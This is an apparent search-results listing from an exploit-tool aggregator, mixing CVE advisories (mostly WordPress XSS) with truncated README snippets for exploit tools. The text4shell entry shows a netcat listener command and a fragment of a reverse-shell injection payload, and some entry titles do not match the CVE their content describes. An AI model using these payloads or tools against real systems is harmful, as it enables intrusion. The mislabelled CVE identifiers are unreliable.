112727 matches found
CVE-2026-93836
The WPC Product Bundles for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'qty' parameter in all versions up to, and including, 8.6.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject...
CVE-2026-15410
cve-id ⚡ 简单用法 仅在安全且授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 授权的渗透测试环境 示例设置： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL source...
CVE-2026-93778 WP Yelp Review Slider <= 9.2 - Unauthenticated Stored Cross-Site Scripting via Yelp Review Text (imported via wpyelp_download_source)
The WP Yelp Review Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Yelp Review Text imported via wpyelpdownloadsource in all versions up to, and including, 9.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated...
revisaxzutils
revisaxzutils bashスクリプト - CVE-2024-3094の脆弱性があるかどうかを確認するためのスクリプト。 インストール Ubuntu、Kali Linux、Parrot向けのクイックインストール root@kitploit: git clone https://github.com/hackingetico21/revisaxzutils.git cd revisaxzutils chmod +x ./revisaxzutils.sh...
CurveballCertTool
CurveballCertTool CVE-2020-0601 このCode Signing用の自動bashスクリプトは、次のリポジトリを使用して作成されました: https://github.com/ollypwn/CurveBall このスクリプトは教育目的のみに使用してください。 要件 openssl ruby osslsigncode 使用方法 ./CurveballCertTool.sh -c: 新しい「正規の」証明書を作成 ./CurveballCertTool.sh -s: 実行可能ファイルに署名 例...
CVE-2023-4197
CVE-2023-4197 これは CVE-2023-4197 用のシンプルなスクリプトですが、当初 HTB の broadlight マシンで動作しなかったため、少し修正を加えたものです。つまり、スクリプトを少し変更してから、ドキュメントの説明に従って使用する必要があります。...
CVE-2018-4878
著者とクレジット 著者: Vincent Yiu @vysecurity クレジット: @evi1cg: テストに協力してくれて、やる気を維持させてくれた @smgoreli: オリジナルの Calc.exe PoC @kbandla: 彼は知っているし、私も知っている。 ; 免責事項 より多くのAggressorスクリプト開発を促すために開発されました。許可を得たペネトレーションテストでのみ使用してください！ 説明 2017年2月より前のShockwave Flashプレイヤー向けのCVE-2018-4878エクスプロイトを使用して、Internet...
CVE-2022-24816
CVE-2022-24816 スクリプトの使用方法 前提条件 1. リポジトリをクローンする : root@kitploit: git clone https://github.com/c1ph3rbyt3/CVE-2022-24816.git cd CVE-2022-24816 2. 依存関係をインストールする : Python 3 がインストールされていることを確認してください。次に、以下のコマンドを実行して必要な依存関係をインストールします: root@kitploit: pip install -r requirements.txt requirements.txt...
redis-checker
redis-checker 公開されたRedisサーバーをチェックします root@kitploit: usage: redis-checker.py -h -u URL -f FILE -p PROXY -P PORT -s SSL options: -h, --help show this help message and exit -u URL, --url URL URL to test -f FILE, --file FILE File of urls -p PROXY, --proxy PROXY Proxy for debugging -P PORT, --port POR...
CVE-2014-4688-NodeJs-Exploit
CVE-2014-4688 root@kitploit: sudo node --no-warnings exploit.js...
CVE-2018-7211-PoC
CVE-2018-7211-PoC CVE-2018-7211 的 PoC||GTFO 参考: https://membership.backbox.org/idashboards-9-6b-multiple-vulnerabilities/ 要求 无，仅需 Python 使用方法 运行脚本 root@kitploit: $ git clone https://github.com/bowline90/CVE-2018-7211-PoC.git $ cd CVE-2018-7211-PoC $ chmod +x PoCedcrypt.py $ .\PoCedcrypt.py string...
CVE-2021-46422
CVE-2022-26134RCE インストール root@kitploit: git clone https://github.com/yigexioabai/CVE-2022-26134-cve1.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2022-26134RCE.py放到pocsuite3\pocs目录下 cd pocs pocsuite3の使い方 単一のURL: root@kitploit: pocsuite -r CVE-2022-26134RCE.py -u url 複数のURL:...
CVE-2025-70830
CVE-2025-70830: Datart サーバーサイドテンプレートインジェクション SSTI 脆弱性概要 Overview CVE 番号 : CVE-2025-70830 影響を受ける製品 : Datart 影響を受けるバージョン : v1.0.0-rc.3 脆弱性タイプ : Server-Side Template Injection SSTI 危険度 : Remote Code Execution RCE 脆弱性の説明 Description Datart v1.0.0-rc.3 の Freemarker テンプレートエンジンにサーバーサイドテンプレートインジェクション SST...
CVE-2014-0346
CVE-2014-0160 Heartbleed テストスクリプト このスクリプトは、SSL/TLS サーバーにおける悪名高い Heartbleed 脆弱性 CVE-2014-0160 をチェックします。 📜 クレジット オリジナルスクリプト: Jared Stafford [email protected] 教育および研究目的で Songül Kızılay が修正・更新 ⚠️ 免責事項 このツールは教育目的および許可を得たテスト専用 に提供されています。 明示的な許可なくシステムに使用しないでください。無断スキャンは違法であり、倫理に反します。 📝 ライセンス MIT...
CVE-2026-93655
The Booking Calendar WordPress plugin is affected by a Reflected Cross-Site Scripting vulnerability via the wpbc_auto_fill parameter in all versions up to and including 11.8.3 . The root cause is insufficient input sanitization and output escaping . An unauthenticated attacker can inject arbitrar...
CVE-2026-85653 Contextual Related Posts <= 4.4.1 - Authenticated (Author+) Stored Cross-Site Scripting via 'other_attributes' Block Parameter
The Contextual Related Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'otherattributes' Block Parameter in all versions up to, and including, 4.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with...
Sub-folderFetcher
하위 폴더 페쳐 🐣 GitHub에서 특정 Vulhub 저장소 폴더kibana/CVE-2018-17246를 다운로드하는 스크립트입니다. 🚀 요구 사항 curl unzip 🛠️ 사용법 root@kitploit: chmod +x subfetcher.sh ./subfetcher.sh...
text4shell-exploit
text4shell-exploit Apache Commons Text のバージョン 例 root@kitploit: python3 text4shell.py 127.0.0.1 192.168.1.2 4444 攻撃マシンでリスナーをセットアップしてください: root@kitploit: nc -nlvp 4444 ペイロードロジック スクリプトは以下を注入します: root@kitploit: $script:javascript:java.lang.Runtime.getRuntime.exec... リバースシェルは、POST リクエストを使用して /data...